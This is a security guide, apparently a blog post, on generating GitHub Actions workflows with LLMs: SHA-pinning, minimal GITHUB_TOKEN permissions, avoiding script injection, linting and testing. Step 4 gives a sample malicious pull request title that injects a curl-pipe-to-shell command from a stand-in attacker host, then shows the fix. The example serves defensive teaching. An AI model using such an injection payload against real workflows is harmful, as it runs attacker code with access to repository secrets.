Writing GitHub Actions Workflows With LLMs in October 2026: Pin Actions to Commit SHAs, Lock Down Token Permissions, and Lint Before You Merge
Ask an LLM for a GitHub Actions workflow and you will get something that looks right in a few seconds: a trigger, a job, a checkout step, a build command. Most of the time it even runs. The problem is that CI configuration is one of the places where "it runs" and "it is safe" are very different things. A workflow holds secrets, can push code, can publish packages, and often runs on input from strangers who opened a pull request. Generated YAML tends to copy the patterns that are most common in public repositories, and a lot of those patterns are outdated or risky.
This guide covers a practical way to use LLMs for writing workflows without inheriting those problems. The short version: pin every third-party action to a full commit SHA, set explicit and minimal GITHUB_TOKEN permissions, keep untrusted input out of shell scripts, and run a linter on every generated file before it merges.

Why generated workflows go wrong
Models learn from public code, and public workflows are full of shortcuts. A few that show up constantly in generated output:
- Floating action tags like
uses: some-org/some-action@v3or even@main. A tag can be moved by whoever controls the action's repository, so the code that runs in your pipeline can change without any change on your side. - No
permissionsblock, which means the job gets whatever default token permissions your repository or organization is configured with. On older repositories that default can still be read and write access to most scopes. - Untrusted event data interpolated straight into
run:steps, such as a pull request title or branch name inside${{ }}expressions. That is a script injection hole. - Outdated action versions and deprecated syntax, because the model's training data has more examples of old versions than new ones. The classic example is the old
set-outputworkflow command, which GitHub deprecated in favor of writing to the$GITHUB_OUTPUTfile. - Invented inputs. A model may pass an input name to an action that the action does not accept. Depending on the action, that is either a warning or silently ignored, and you think a setting is on when it is not.
None of these are exotic. They are just the defaults a model reaches for when you do not tell it otherwise, so the fix is to tell it otherwise and then check.
Step 1: Give the model a real spec, not a vibe
"Write a CI workflow for my Node app" leaves every decision to the model. A better prompt names the triggers, the runtime versions, the commands, the security constraints, and what the job must not do. For example:
Write a GitHub Actions workflow file .github/workflows/ci.yml.
Triggers: pull_request and push to main. Do NOT use pull_request_target.
Runner: ubuntu-latest.
Steps: checkout, set up Node 22 with npm cache, npm ci, npm run lint, npm test.
Security requirements:
- Top-level permissions: contents: read. No other permissions.
- Pin every third-party action to a full 40-character commit SHA,
with the version tag in a trailing comment. Leave SHA as a
placeholder (REPLACE_WITH_SHA) if you are not certain of it.
- Set persist-credentials: false on checkout.
- Never interpolate github.event.* values directly inside run: scripts.
Add a concurrency group that cancels in-progress runs for the same ref.
Add timeout-minutes: 15 to the job.
Two details in that prompt matter more than they look. First, asking for a placeholder when the model is not certain of a SHA is important, because models will happily produce a plausible-looking 40-character hex string that does not exist. You fill in the real SHAs yourself in the next step. Second, listing what not to do (no pull_request_target) prevents the model from "helpfully" picking a trigger that gives fork code access to secrets.
Step 2: Pin actions to commit SHAs yourself
GitHub's own security hardening guidance recommends pinning third-party actions to a full-length commit SHA, because a SHA is the only reference that cannot be moved to point at different code. A pinned step looks like this:
- uses: actions/checkout@REPLACE_WITH_SHA # v4.x.x
with:
persist-credentials: false
To get the real SHA, look up the release tag in the action's repository and copy the full commit hash it points to. With the GitHub CLI you can resolve a tag like this:
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object.sha'
If the tag is an annotated tag, that returns the tag object rather than the commit, so check the .object.type field and dereference it if it says tag. The point is that the SHA comes from the repository, not from the model.
Pinning creates a maintenance job, because pinned actions do not update themselves. Dependabot's version updates support the github-actions ecosystem and can open pull requests that bump SHA-pinned actions and their version comments. A minimal .github/dependabot.yml entry:
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
Now you get reviewed, auditable updates instead of code that changes under you.

Step 3: Set minimal token permissions explicitly
Every workflow run gets a GITHUB_TOKEN. What it can do depends on the permissions key in the workflow, and if that key is missing, on your repository or organization default. Do not rely on the default. Put a restrictive block at the top of every workflow and widen it only on the specific job that needs more:
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
# inherits contents: read
steps: ...
release:
runs-on: ubuntu-latest
permissions:
contents: write # needed to create a release
steps: ...
When a model generates a job that comments on pull requests, publishes packages, or pushes tags, ask it to state which permission each step needs and why. If it cannot justify a permission, remove it and see whether the job still works. It is also worth setting your repository's default workflow permissions to read-only in the repository settings, so a workflow without a permissions block fails safe rather than open.
Setting persist-credentials: false on actions/checkout is a related habit. By default the checkout action stores the token in the local git config so later steps can push. If no later step needs to push, there is no reason to leave a credential sitting on disk where any subsequent script can read it.
Step 4: Keep untrusted input out of shell scripts
This is the mistake with the worst consequences, and generated workflows make it often. Consider a step like this:
# Dangerous
- run: echo "Checking PR: ${{ github.event.pull_request.title }}"
GitHub evaluates the ${{ }} expression before the shell runs, pasting the raw title into the script. Anyone who can open a pull request can choose a title like "; curl https://attacker.example | sh; echo " and run commands in your job. Branch names, issue bodies, commit messages, and review comments are all attacker-controlled in the same way.
The fix GitHub recommends is to pass the value through an environment variable, so the shell treats it as data:
# Safer
- run: echo "Checking PR: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
When you review a generated workflow, search for ${{ github.event and ${{ github.head_ref inside any run: block. Every hit should either be moved to env: or be a value you are sure an outsider cannot control.
Be careful with pull_request_target and workflow_run
The pull_request_target trigger runs in the context of the base repository, with access to secrets and a token that can have write permissions, even for pull requests from forks. That is useful for things like labeling, but if the workflow also checks out and runs the pull request's code, you have handed secrets to anyone who can fork your repository. The same caution applies to workflow_run jobs that download artifacts produced by an untrusted run. If a model proposes either trigger, ask it to explain exactly why plain pull_request is not enough, and do not check out or execute pull request code in that job.
Step 5: Lint and audit every generated file
Review by eye catches some problems, but tools catch more and they never get tired. Two open source linters are worth adding:
- actionlint checks workflow syntax, expression types, references to undefined outputs or matrix keys, runner labels, and runs shellcheck on
run:scripts. It catches many of the "looks fine, fails at runtime" mistakes models make, including some uses of deprecated workflow commands. - zizmor is a static analysis tool focused on GitHub Actions security. It flags issues such as template injection in
run:steps, unpinned actions, overly broad permissions, credential persistence on checkout, and risky triggers.
Run both locally while you iterate with the model, and again in CI on any change under .github/workflows/. A simple loop works well: generate, run the linters, paste the findings back to the model, ask for a fix, and repeat until both are clean. Then do a final human read, because a linter cannot tell you whether the workflow does what your project actually needs.
Step 6: Test before you trust it
A workflow that passes linting can still be wrong about behavior. A few cheap ways to test:
- Run it on a branch first. Add a
workflow_dispatchtrigger so you can start it manually, push to a feature branch, and watch the logs before merging to your default branch. - Try it locally with act. The open source
acttool runs workflows in local containers. It does not reproduce GitHub-hosted runners exactly, but it is fast for catching broken commands and missing environment variables. - Check that failures actually fail. Temporarily break a test and confirm the job goes red. Generated workflows sometimes add
continue-on-error: trueor|| trueto "fix" a flaky step, which quietly turns your CI into a formality. - Confirm the limits. A missing
timeout-minutesmeans a hung job keeps going until the default limit of six hours for GitHub-hosted runners. Aconcurrencygroup withcancel-in-progress: truestops pushes from stacking up redundant runs.
A review checklist you can paste into your prompt
After generating a workflow, ask the model to review its own output against this list, then verify the answers yourself:
- Is every third-party
uses:pinned to a full commit SHA with a version comment, and did the SHAs come from the actual repositories? - Is there a top-level
permissionsblock, and does each job have only the scopes it needs? - Does checkout set
persist-credentials: falseunless a later step must push? - Is any
github.event.*orgithub.head_refvalue used directly inside arun:script? - Does the workflow use
pull_request_targetorworkflow_run, and if so, does it avoid running untrusted code? - Are secrets only passed to the steps that use them, rather than set as job-wide environment variables?
- Does every job have a
timeout-minutes, and is there a sensibleconcurrencygroup? - Are there any
continue-on-erroror|| trueshortcuts hiding real failures? - Do actionlint and zizmor both pass?
The bottom line
LLMs are genuinely useful for CI work. They remember YAML syntax you would otherwise look up, they can sketch a matrix build in seconds, and they are good at explaining why a workflow fails when you paste in the log. But the workflow file is effectively code that runs with your secrets, so treat model output as a first draft from a fast junior engineer. Give it explicit security requirements, replace any SHA it invents with one you resolved yourself, keep the token on a short leash, move untrusted input into environment variables, and let actionlint and zizmor check the result before anything merges.
Comments
Post a Comment